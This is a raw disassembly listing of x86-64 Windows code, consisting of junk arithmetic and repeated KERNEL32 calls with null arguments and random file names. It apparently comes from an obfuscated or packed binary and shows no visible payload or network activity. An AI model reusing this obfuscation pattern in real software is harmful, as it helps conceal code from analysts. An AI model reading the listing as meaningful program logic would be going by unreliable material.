mov rcx, qword [rsp + 0xcc70]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa178]
shl rax, cl
mov qword [rsp + 0xb7a8], rax
mov rax, qword [rsp + 0xdc10]
mov rcx, qword [rsp + 0xcea8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd1c0], rax
lea rax, [rsp + 0x43]
mov qword [rsp + 0xe038], rax
mov rax, qword [rsp + 0xd190]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x595c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6494], eax
movsx eax, word [rsp + 0x2164]
mov rcx, qword [rsp + 0xce88]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x20dc], ax
movzx eax, word [rsp + 0x1a24]
mov word [0x1401c8df0], ax
mov rax, qword [rsp + 0xdbb8]
mov rax, qword [rax]
mov qword [rsp + 0xe040], rax
mov rax, qword [rsp + 0xcaa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fd4]
sub eax, ecx
mov rcx, qword [rsp + 0xcfb0]
mov word [rcx], ax
mov rax, qword [rsp + 0xdcc8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x30b]
or eax, ecx
mov byte [rsp + 0x221], al
mov eax, dword [rsp + 0x5d78]
mov rcx, qword [rsp + 0xda28]
mov qword [rsp + 0xe048], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe048]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5a0c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [0x1401c7020]
mov qword [rsp + 0xe050], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov rcx, qword [rsp + 0xc918]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6904], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x646c], eax
movzx ecx, word [rsp + 0x2570]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2058], ax
mov rax, qword [rsp + 0xd090]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xda08]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3ce], al
mov r9d, 2
lea r8, [rsp + 0xd9a0]
mov rdx, qword [rsp + 0xc600]
mov rcx, qword [rsp + 0xcb38]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6908], eax
mov rax, qword [rsp + 0xc520]
mov rcx, qword [rsp + 0xd680]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x66ac], eax
lea rdx, [rsp + 0x264c0]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x656c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe058], rax
movsx eax, word [0x1401c8d10]
mov rcx, qword [rsp + 0xd068]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdb0], ax
mov rax, qword [rsp + 0xce98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd1b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8af4], ax
mov edx, 0x15a9
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x66ec], eax
mov rax, qword [rsp + 0xc738]
mov rcx, qword [0x1401c8a60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc388], rax
mov rax, qword [rsp + 0xcc38]
mov rax, qword [rax]
mov qword [rsp + 0xe060], rax
mov rax, qword [rsp + 0xdab0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdf60]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd678]
mov word [rcx], ax
mov rax, qword [0x1401c8c10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14a0]
shl eax, cl
mov word [rsp + 0x24f0], ax
mov rax, qword [rsp + 0xd680]
mov eax, dword [rax]
mov dword [rsp + 0x690c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe068], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0xba90]
movzx ecx, al
mov rax, qword [rsp + 0xc3a8]
shr rax, cl
mov qword [rsp + 0xa4f8], rax
mov rax, qword [0x1401c8be8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd7b0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x29f], al
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xcc08]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xdae0], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6800], eax
lea rcx, [rsp + 0x20548]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0xd068]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19d0]
or eax, ecx
mov word [0x1401c8cc0], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6910], eax
movzx eax, word [rsp + 0x252c]
mov rcx, qword [rsp + 0xc7f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1180], ax
lea rax, [rsp + 0x3c9]
mov qword [rsp + 0xe070], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rax, qword [rsp + 0xd8f8]
mov ecx, dword [rsp + 0x67d8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd8f8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcd88], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe078], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68dc], eax
movzx ecx, word [rsp + 0x1f90]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x244c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.cCXuZwwldUiF2FI12GH3SX63
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xe080], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0xca00]
mov rax, qword [rax]
mov qword [rsp + 0xe088], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe090], rax
lea rcx, [rsp + 0x20188]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xd418]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd720]
mov qword [rsp + 0xe098], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe098]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xbe40], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
movsx eax, byte [0x1401c8a12]
mov rcx, qword [rsp + 0xce18]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1f2], al
mov rax, qword [rsp + 0xde38]
mov ecx, dword [rsp + 0x5660]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x64d4], eax
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [0x1401c8ae0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc698]
mov word [rcx], ax
lea rax, [rsp + 0x19ac]
mov qword [0x1401c8df8], rax
mov r9d, 1
lea r8, [rsp + 0xd420]
mov rdx, qword [rsp + 0xe0a0]
mov rcx, qword [rsp + 0xdd08]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6828], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc0b8], rax
mov rcx, qword [rsp + 0xd568]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xd4c8]
mov qword [rsp + 0xe0a8], rax
mov rax, qword [rsp + 0xd508]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1404]
add eax, ecx
mov word [rsp + 0x8e8], ax
movzx eax, word [rsp + 0x9ac]
mov word [rsp + 0x2584], ax
mov rax, qword [rsp + 0xce10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x97d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd110], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x67b4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rax, qword [rsp + 0xc8c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5e98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x56dc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [0x1401c8ac0]
mov rcx, qword [rsp + 0xa408]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaed8], rax
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e5]
xor eax, ecx
mov rcx, qword [rsp + 0xda08]
mov byte [rcx], al
movzx ecx, word [rsp + 0x2334]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20d0], ax
movzx ecx, word [rsp + 0x2270]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2588], ax
movzx eax, word [0x1401c7150]
mov word [rsp + 0x258c], ax
mov rax, qword [rsp + 0xc540]
mov rcx, qword [rsp + 0xd7b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1401c7010], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x66e4], eax
mov rax, qword [rsp + 0xdc48]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xda28]
mov qword [rsp + 0xe0b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe0b0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6654], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x658c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xca88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd940]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3ef], al
mov rax, qword [rsp + 0xc888]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc9e8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1cac], ax
mov rax, qword [rsp + 0xc7b8]
movzx eax, word [rax]
mov rcx, qword [0x1401c8b90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x23e4], ax
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x6764]
mov dword [rsp + 0x6914], eax
movzx ecx, word [rsp + 0x1f64]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x24f4], ax
movsx eax, byte [rsp + 0x3b2]
movsx ecx, byte [rsp + 0x3d5]
sub eax, ecx
mov rcx, qword [rsp + 0xc8f8]
mov byte [rcx], al
lea rdx, [rsp + 0x264c0]
mov rcx, qword [rsp + 0xc598]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6918], eax
mov rax, qword [0x1401c8b70]
mov rcx, qword [rsp + 0xcd28]
mov qword [rsp + 0xe0b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe0b8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd298], rax
lea rcx, [rsp + 0x20098]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2f8], rax
movzx eax, word [rsp + 0x19f8]
mov word [rsp + 0x2590], ax
mov rax, qword [rsp + 0xd530]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd2d0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401c71e8], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6880], eax
lea rcx, [rsp + 0x207b8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xb7b8]
mov rcx, qword [0x1401c8dd0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa778], rax
lea rax, [rsp + 0xde20]
mov qword [rsp + 0xe0c0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0xd9e0]
mov rcx, qword [rsp + 0xc5e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0b0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
lea rax, [0x1401c8a80]
mov qword [rsp + 0xe0c8], rax
lea rcx, [rsp + 0x1fd38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x241c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2594], ax
mov rax, qword [rsp + 0xcc98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x383]
add eax, ecx
mov byte [rsp + 0x3cf], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc080], rax
mov rcx, qword [rsp + 0xd318]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x20158]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xcde8]
mov ecx, dword [rsp + 0x57c8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6494], eax
mov rax, qword [rsp + 0xd7a8]
mov rcx, qword [rsp + 0xce58]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xba98], rax
mov eax, dword [rsp + 0x6760]
mov rcx, qword [rsp + 0xce00]
mov qword [rsp + 0xe0d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe0d0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x64cc], eax
lea rax, [rsp + 0x378]
mov qword [rsp + 0xe0d8], rax
movzx eax, word [0x1401c70ac]
mov word [0x1401c8e00], ax
mov rax, qword [rsp + 0xd4b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1244]
shl eax, cl
mov word [rsp + 0x2008], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
mov rcx, qword [0x1401c8b90]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1370], ax
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xcd50]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6520], eax
lea rax, [rsp + 0xde80]
mov qword [rsp + 0xe0e0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe0e8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x66a8], eax
mov rcx, qword [rsp + 0xd130]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xde00]
mov rcx, qword [rsp + 0xb580]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa930], rax
mov eax, dword [rsp + 0x5e5c]
mov dword [rsp + 0x691c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68f0], eax
lea rcx, str.17ydT
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2598], ax
lea rcx, [rsp + 0x1feb8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x20338]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, byte [rsp + 0x1e8]
movsx ecx, byte [rsp + 0x39f]
add eax, ecx
mov byte [rsp + 0x3e6], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc090], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe0f0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
lea rcx, [rsp + 0x20218]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
lea rcx, [rsp + 0x20788]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc888]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x236c], ax
movzx eax, word [rsp + 0x22c4]
movzx ecx, word [rsp + 0x2008]
shl eax, cl
mov word [rsp + 0x1aa8], ax
mov rax, qword [rsp + 0xcda0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd858]
or rcx, rax
mov rax, rcx
mov qword [0x1401c8ba8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xe0f8], rax
lea rcx, [rsp + 0x201b8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x2008]
mov rcx, qword [rsp + 0xc838]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x19ac], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0xdbb8]
mov rax, qword [rax]
mov qword [rsp + 0xe100], rax
movzx ecx, word [rsp + 0x24f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x259c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rcx, [rsp + 0x1d688]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rsp + 0xc180]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe108], rax
mov rax, qword [rsp + 0x97d0]
mov rcx, qword [rsp + 0xb2e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdf80], rax
mov eax, dword [rsp + 0x595c]
mov ecx, dword [rsp + 0x670c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5db4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcca8], rax
lea rax, [0x1401c8a27]
mov qword [rsp + 0xe110], rax
mov rax, qword [rsp + 0xda28]
mov ecx, dword [rsp + 0x6734]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5ec4], eax
lea rdx, [rsp + 0x26108]
mov rcx, qword [rsp + 0xcf20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x68f8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6920], eax
lea rax, [rsp + 0x3dc]
mov qword [rsp + 0xe118], rax
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
mov rcx, qword [0x1401c8a68]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2e0], rax
mov rax, qword [rsp + 0xc698]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x223c]
shl eax, cl
mov word [0x1401c71c8], ax
lea rax, [rsp + 0x2194]
mov qword [rsp + 0xe120], rax
movzx ecx, word [rsp + 0x2308]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21d0], ax
lea rcx, [rsp + 0x20398]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov r9d, 2
lea r8, [rsp + 0xd438]
mov rdx, qword [rsp + 0xc198]
mov rcx, qword [rsp + 0xd888]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6924], eax
movzx eax, word [rsp + 0x1244]
movzx ecx, word [rsp + 0x2008]
or eax, ecx
mov word [rsp + 0x2554], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.Ot7D6yG_rSxX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xe128], rax
movzx eax, word [rsp + 0x1d24]
movzx ecx, word [rsp + 0x21e0]
sar eax, cl
mov word [rsp + 0x1fe0], ax
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
mov rcx, qword [0x1401c8be8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x34d], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcd88], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
lea rcx, [rsp + 0x1ff48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xcce0]
mov rcx, qword [rsp + 0xcf18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xca68], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xe130], rax
mov eax, dword [rsp + 0x682c]
mov dword [rsp + 0x6928], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
movzx ecx, word [rsp + 0x2298]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21bc], ax
lea rcx, [rsp + 0x1fe88]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xd068]
movsx eax, word [rax]
mov rcx, qword [0x1401c8b80]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdfb0]
mov word [rcx], ax
movzx eax, word [rsp + 0x14f8]
movzx ecx, word [rsp + 0x92c]
sub eax, ecx
mov word [rsp + 0x217c], ax
mov rax, qword [rsp + 0x9c00]
mov qword [0x1401c8e08], rax
mov rax, qword [0x1401c8c38]
mov rax, qword [rax]
mov qword [rsp + 0xe138], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd698], rax
lea rdx, [rsp + 0x26290]
mov rcx, qword [rsp + 0xd7c0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x65ec], eax
mov rax, qword [rsp + 0xc9d0]
movzx ecx, al
mov rax, qword [rsp + 0xb1e8]
sar rax, cl
mov rcx, qword [rsp + 0xc680]
mov qword [rcx], rax
lea rax, [rsp + 0xdbd0]
mov qword [rsp + 0xe140], rax
mov rax, qword [rsp + 0xca48]
movzx eax, word [rax]
mov rcx, qword [0x1401c8bd0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc5b8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x29c]
or eax, ecx
mov byte [rsp + 0x26d], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xe148], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [rsp + 0x5ec4]
mov ecx, dword [rsp + 0x6524]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x578c], eax
movsx eax, byte [0x1401c8a13]
mov rcx, qword [rsp + 0xd7b0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd4e0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc6f0]
mov eax, dword [rax]
mov dword [rsp + 0x692c], eax
mov rax, qword [rsp + 0xce58]
mov rcx, qword [rsp + 0xc350]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x1401c71f0], rax
mov rax, qword [0x1401c8cb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x22a8]
and eax, ecx
mov word [rsp + 0x2578], ax
mov rax, qword [rsp + 0xc638]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1238]
shl eax, cl
mov word [rsp + 0x1dd0], ax
mov rax, qword [0x1401c8b60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2010]
or eax, ecx
mov word [rsp + 0x1f78], ax
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd328]
mov qword [rsp + 0xe150], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe150]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc6e0], rax
mov rax, qword [rsp + 0xce58]
mov rax, qword [rax]
mov qword [rsp + 0xe158], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x658c], eax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xdfb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x65e0], eax
movzx eax, byte [rsp + 0x23a]
mov byte [rsp + 0x3f0], al
mov rax, qword [rsp + 0xc638]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x138c]
sub eax, ecx
mov word [rsp + 0x1608], ax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x20c4]
add eax, ecx
mov word [0x1401c7158], ax
lea rdx, [rsp + 0x25fb8]
mov rcx, qword [rsp + 0xcc20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6930], eax
xor r9d, r9d
lea r8, [rsp + 0xd160]
mov rdx, qword [rsp + 0xda00]
mov rcx, qword [rsp + 0xd0c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x64b0], eax
mov rax, qword [rsp + 0xdf30]
mov rcx, qword [rsp + 0xcdf8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdce0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x1bb8]
mov qword [rsp + 0xe160], rax
mov eax, dword [rsp + 0x6654]
mov ecx, dword [0x1401c8a1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5b58], eax
movzx eax, byte [rsp + 0x3b7]
movzx ecx, byte [rsp + 0x391]
or eax, ecx
mov byte [rsp + 0x332], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd7e0], rax
mov r9d, 0x75
xor r8d, r8d
lea rdx, [rsp + 0xcbd8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
